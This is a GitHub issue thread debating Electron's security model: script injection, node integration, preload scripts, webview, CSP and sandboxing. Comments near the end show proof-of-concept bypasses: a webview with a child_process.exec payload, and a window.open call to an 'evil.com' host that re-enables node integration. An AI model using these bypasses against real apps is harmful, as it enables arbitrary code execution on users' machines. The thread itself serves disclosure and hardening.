Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Electron's security model and injected scripts #1753

Closed
arturadib opened this issue May 22, 2015 · 27 comments
Closed

Electron's security model and injected scripts #1753

arturadib opened this issue May 22, 2015 · 27 comments

Comments

@arturadib
Copy link

@arturadib arturadib commented May 22, 2015

If an attacker manages to inject a <script> tag in an Electron app (for example because the app failed to sanitize user input stored in a remote server), it seems like they would have nearly absolute control over the victim's machine. For example, they could require('fs') and do whatever they want with the victim's file system, e.g. destroy their home folder, snoop on sensitive data, etc.

In the database world, injection is mitigated not only through input sanitization, but also by ensuring the user has the least permissions possible so that in the event an injection slips through, the damage is limited. (E.g. read-only permissions, or permissions limited to specific tables, etc).

Alas, it looks like Electron doesn't offer a security model to prevent/mitigate such script injections?

Turning off node-integration would solve the issue, but would also defeat one of the central purposes of Electron (i.e. providing non-web functions). IPC in principle could be used to expose only a limited set of capabilities, but as explained in #456 there's no way to use ipc without enabling require() for all Node core modules.

Am I missing something? Thanks!

@anaisbetts
Copy link
Contributor

@anaisbetts anaisbetts commented May 22, 2015

You are missing the WebView tag, which allows you to sandbox remote content: https://github.com/atom/electron/blob/master/docs/api/web-view-tag.md. You can use a preload script to set up a set of APIs that are available to the guest content that has access to node, but once the page starts loading that content will only have access to what you have provided

@arturadib
Copy link
Author

@arturadib arturadib commented May 22, 2015

Ha, didn't know about preload. It looks like BrowserWindow takes a preload param too, so it seems we could even run the whole window with node-integration: false, and just expose the necessary APIs via a preload script.

Can y'all think of other security risks with this?

@anaisbetts
Copy link
Contributor

@anaisbetts anaisbetts commented May 22, 2015

The only other risk is being careful how you store variables, if you save off process as a property of a class you expose to the guest, you've effectively defeated the protection that WebView provides. If you really need to hide something, you can use v8util's get/setHiddenValue: https://github.com/atom/electron/blob/e98953a5a563648a69b6cb8535d1f27febeec887/atom/renderer/api/lib/ipc.coffee#L5

@arturadib
Copy link
Author

@arturadib arturadib commented May 22, 2015

I'm thinking the most secure solution is to block off node-integration in the browser window altogether and offer up the API through a protocol e.g. myapp://. Seems like this has the smallest attack surface?

@anaisbetts
Copy link
Contributor

@anaisbetts anaisbetts commented May 22, 2015

Seems like overkill to me

@arturadib
Copy link
Author

@arturadib arturadib commented May 22, 2015

Why is it an overkill, Electron's protocol API is pretty trivial.. Also ain't no such thing as an overkill when the risk is running untrusted code with full Node core access!

@baconbrad
Copy link
Contributor

@baconbrad baconbrad commented May 22, 2015

I think he is talking more of the lines of blacklisting everything from using it and only certain things can use it once whitelisted. Kind of like how NW.js integrates it.

In the meantime if your web app does not need to use node at all you can use the web view tag as if it where an Iframe. Make it 100% width and height and have your app run in there. Otherwise I think node.js on the front end needs to be handled just like node.js on the back end where you the developer of the app needs to take responsibility in not letting it happen through methods of sanitation, etc. Kinda like an electrician needing to act like all wires could be hot. We need to act like all exploits could be possible.

@zcbenz
Copy link
Member

@zcbenz zcbenz commented May 23, 2015

Related issue: atom/atom#1763, we also have a GSoC project on this.

@maxkueng
Copy link

@maxkueng maxkueng commented May 28, 2015

@arturadib:

It looks like BrowserWindow takes a preload param too, so it seems we could even run the whole window with node-integration: false, and just expose the necessary APIs via a preload script.

The WebView documentation says:

When the guest page doesn't have node integration this script will still have access to all Node APIs, but global objects injected by Node will be deleted after this script has done execution.

I assume BrowserWindow works the same? So this doesn't work. I even tried injecting a preload script that exposes an object like this: window.something = { an: 'object', withSome: function s () {} }; but if I turn off node-integration the object is isn't available to the page.

Preload scripts would be a cool way to expose an API to the content page but turn off access to any other Electron APIs. It would also resolve require conflicts.

Edit: I've just made an interesting discovery.

This doesn't work:

var myApi = { an: 'object', withSome: function s () {} };

This also doesn't work:

window.myApi = { an: 'object', withSome: function s () {} };

But this works (no var statement) partially:

myApi = { an: 'object', withSome: function s () {} };

The myApi object is available to the content but when the preload script tries to access an Electron global it can't access it:

// preload script
myApi = {
  crash: function () {
    process.crash();
  }
};

// content
myApi.crash();

myApi.crash(); dies with "Uncaught ReferenceError: process is not defined".

@zcbenz
Copy link
Member

@zcbenz zcbenz commented May 29, 2015

By the time preload script is loaded, window object is not ready yet, you can use global.myApi instead.

For the process object, you should keep a local reference of process in the script because the global one would be deleted then:

var process = global.process;
@maxkueng
Copy link

@maxkueng maxkueng commented May 30, 2015

Thank you.

I'm doing something like that now that works well. Storing process in atom.process keeps it available within the preload script but since the atom uses the var statement it doesn't expose it to the rest of the app. It's pretty cool.

// preload script
var atom = {
  process: process,
  // ... more things
};

myApi = {
  crash: function () {
    atom.process.crash();
  }
};

// content
myApi.crash();
@arturadib
Copy link
Author

@arturadib arturadib commented May 30, 2015

The preload security model is pretty fragile – as pointed out above, you need to keep a reference to the necessary Node APIs in the exposed objects, so it puts a large burden on developers to ensure those references don't leak. All it takes is one slip for an attacker to run rm -rf / on your users' machines...

I'm still thinking the safest solution is to only expose non-web APIs through the protocol API.

@gruebait
Copy link

@gruebait gruebait commented Sep 4, 2015

Agree with @arturadib; anything less here is playing with fire. It also may be unwise to assume future devs will be "security conscious" in any way, shape, or form. The more popular Electron becomes, the more dangerous that assumption becomes. IMO the simple best solution here is max security by default, with explicit alternatives for developers who need more power.

@anaisbetts
Copy link
Contributor

@anaisbetts anaisbetts commented Sep 4, 2015

IMO the simple best solution here is max security by default, with explicit alternatives for developers who need more power.

The simplest best solution is to not run remote content at all and only load local content.

@arturadib
Copy link
Author

@arturadib arturadib commented Sep 5, 2015

The simplest best solution is to not run remote content at all and only load local content.

It's not about deliberately running remote content. It's about accidentally running remote content. For example, a chat app may be entirely written locally, but it still needs to display remote content.

In this case, do we really want to make the user's entire security depend on the escaping of content, or do we want to borrow hard lessons learned from the database world where escaping–just in case it's missed–is also accompanied by restrictive access to ensure queries only have the absolute necessary permissions?

The current security model for exposing main process APIs to the renderer process (i.e. preload scripts) is fragile because it puts a large burden on developers to ensure main process objects don't leak, such as fs, etc.

A much more robust model is to only expose e.g. ipc to the preload script. That way the only thing that can possibly leak is ipc itself, which minimizes the surface of attack to only those remote procedures actually implemented by the developer on the main process.

@zcbenz
Copy link
Member

@zcbenz zcbenz commented Sep 6, 2015

The current security model for exposing main process APIs to the renderer process (i.e. preload scripts) is fragile because it puts a large burden on developers to ensure main process objects don't leak, such as fs, etc.

The symbols exposed in preload script do not leak to the page unless you explicitly do that by storing the symbols to window, I think it is not a so large burden?

Only exposing ipc module is not 100% secure too, the remote module is implemented with ipc under the hood, and if you can control which messages are sent to the main process, you are able to control everything.

@matthiasg
Copy link

@matthiasg matthiasg commented Nov 17, 2015

@zcbenz how do i expose something to window ? i though the window object isnt ready at the time the preload script runs ?

@matthiasg
Copy link

@matthiasg matthiasg commented Nov 17, 2015

ok .. it seems the wiki is unclear. The parameter is not yet webPreferences but web-preferences and its not preload but preload-url as stated.

so it works with:

  mainWindow = new BrowserWindow({
    width: 800,
    height: 600,
    'web-preferences': {
      'node-integration': false,
      'preload-url': 'file://' + path.join(__dirname, 'expose-window-apis.js')
    }
  });

expose-window-apis.js

var hostProcess = process;
var hostRequire = require;

process.once('loaded', function(){

  global.host = {
    process: hostProcess,
    crash: function () {
      hostProcess.crash();
    },
  };

  global.host.ipc = hostRequire('ipc');   
});

@etiktin
Copy link
Contributor

@etiktin etiktin commented Nov 17, 2015

@matthiasg the docs are for the current master branch and in v0.35.0 the option names changed, so if you're using an older version you need to use the dashed options. To find the docs for your version just edit the following url and replace v0.34.3 with your version:
https://github.com/atom/electron/tree/v0.34.3/docs

You don't need to use preload-url, use preload and pass it the absolute path to your script and not a file url. So in your case it should be 'preload': path.join(__dirname, 'expose-window-apis.js').

@matthiasg
Copy link

@matthiasg matthiasg commented Nov 18, 2015

@etiktin thanks that works too.

@seanchas116
Copy link
Contributor

@seanchas116 seanchas116 commented Dec 28, 2015

By the way, it seems that you can inject scripts with full Node API access even if Node integration is disabled using <webview> tags.

Example (details in #3921):

<webview
  nodeintegration
  src="data:text/html,<script>require('child_process').exec('atom package.json')</script>">
</webview>
@wearhere
Copy link
Contributor

@wearhere wearhere commented Jan 8, 2016

Node integration can also be re-enabled for new windows (#4026):

// JavaScript on 'evil.com' will be able to `require('fs')` etc.
window.open('http://evil.com', '', 'nodeIntegration=1');
@bengotow
Copy link
Contributor

@bengotow bengotow commented Jan 29, 2016

Hey folks—just wanted to chime in because this was brought up in an N1 issue. I'm curious if anyone could elaborate on this:

It's not about deliberately running remote content. It's about accidentally running remote content. For example, a chat app may be entirely written locally, but it still needs to display remote content.

In N1, we use a script-src 'self' Content Security Policy to block all remote and inline script tags. I figured that was enough to rule out "accidentally running remote content" (where that content is determined to be a script). An attacker might be able to get a <script> tag into the body of the page, but that script tag should be blocked. Are there any loopholes we need to think about if we already have a strict CSP?

@diracdeltas
Copy link
Contributor

@diracdeltas diracdeltas commented Feb 10, 2016

In case it is of interest to anyone, Brave's fork of Electron re-enables the sandbox for renderers that don't run node. https://github.com/brave/electron/pull/12/files

@wearhere
Copy link
Contributor

@wearhere wearhere commented Feb 10, 2016

@diracdeltas I imagine that prevents even preload scripts from using Node APIs though?

@etiktin
Copy link
Contributor

@etiktin etiktin commented Feb 10, 2016

@wearhere the sandboxing is enabled only if there's no node integration and no preload script. So it should be fine.

@zcbenz
Copy link
Member

@zcbenz zcbenz commented May 6, 2016

I'm closing this since the security problems discussed here had been divided into separate issues.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Projects
None yet
Linked pull requests

Successfully merging a pull request may close this issue.

None yet
You can’t perform that action at this time.